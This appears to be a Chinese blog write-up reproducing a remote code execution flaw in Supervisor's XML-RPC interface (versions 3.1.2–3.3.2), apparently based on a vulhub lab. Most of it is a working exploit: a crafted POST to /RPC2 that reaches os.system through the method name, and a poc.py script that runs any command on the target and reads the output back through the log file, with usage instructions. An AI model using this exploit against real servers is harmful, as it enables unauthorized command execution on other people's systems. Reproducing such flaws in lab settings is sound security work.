Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程***者可发送一段精心构造的请求,导致可在服务器执行任意代码。

    影响版本:Supervisor 3.1.2 <= Version <= 3.3.2

    已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1

    我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

wKiom1mNTByi-UxPAABumUZBSTE639.png-wh_50

执行命令成功

    通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!

wKioL1mNTkigvm0fAAE47V3_2Tw085.jpg-wh_50

验证码命令执行成功

    另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

    利用代码poc.py如下:

import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用方法:

python3 poc.py "http://your-ip:9001/RPC2" "command"

wKioL1mNUeGg8ToOAAA8XbZZf4k691.png-wh_50

    执行任意命令并回显

参考链接:https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610